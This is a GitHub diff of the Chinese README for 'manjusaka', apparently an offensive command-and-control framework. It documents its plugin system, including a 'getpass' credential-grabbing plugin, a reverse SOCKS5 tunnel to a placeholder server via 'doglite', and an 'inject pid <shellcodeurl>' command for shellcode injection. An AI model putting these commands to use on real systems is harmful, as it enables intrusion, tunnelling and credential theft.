File tree Expand file tree Collapse file tree 1 file changed +20
-13
lines changed Expand file tree Collapse file tree 1 file changed +20
-13
lines changed Original file line number Diff line number Diff line change @@ -116,7 +116,26 @@ inject 注入进程 eg: inject pid <shellcodeurl> shellcodeurl
116
116
![ ] ( https://github.com/YDHCUI/manjusaka/blob/main/images/8.png )
117
117
118
118
119
- 4、插件系统 生成dll/so插件, 以plug_name_nps.dll格式命名放到plugins文件夹下面 即可动态调用
119
+ 4、插件系统 分为第三方程序的调用和内置插件
120
+
121
+ 插件可在conf中配置默认启动参数,示例中有一个getpass插件 默认参数为all
122
+ ```
123
+ [plug.getpass]
124
+ args = "all"
125
+
126
+ ```
127
+
128
+ 第三方程序的调用 比如现在我想将doglite作为插件启动
129
+
130
+ 则需要将doglite命名为plug_doglite_nps.exe放入plugins文件夹并在conf中配置参数如下
131
+ ```
132
+ [plug.doglite]
133
+ args = "-service xx.xx.xx.xx:xx -action socks5 -local :40004 -r"
134
+ ```
135
+ 在信息页点选该插件运行,或在命令行输入 start doglite 即可启动该插件。
136
+
137
+ 内置插件,生成dll/so插件, 以plug_name_nps.dll格式命名放到plugins文件夹下面 在命令行输入 pl getpass 即可动态调用
138
+
120
139
插件开发示例, plugmain传入插件运行参数 传出返回的内容值
121
140
``` rust
122
141
// ./Cargo.toml
@@ -204,18 +223,6 @@ message PlugResult {
204
223
205
224
```
206
225
207
- 插件可在conf中配置默认启动参数,示例中有一个getpass插件 默认参数为all
208
- ```
209
- [plug.getpass]
210
- args = "all"
211
-
212
- ```
213
- 比如现在我想将doglite作为插件启动 则需要将doglite命名为plug_doglite_nps.exe放入plugins文件夹并在conf中配置参数如下
214
- ```
215
- [plug.doglite]
216
- args = "-service xx.xx.xx.xx:xx -action socks5 -local :40004 -r"
217
- ```
218
- 在信息页点选该插件运行,或在命令行输入 start doglite 即可启动该插件。
219
226
220
227
221
228
## 更新
You can’t perform that action at this time.
0 commit comments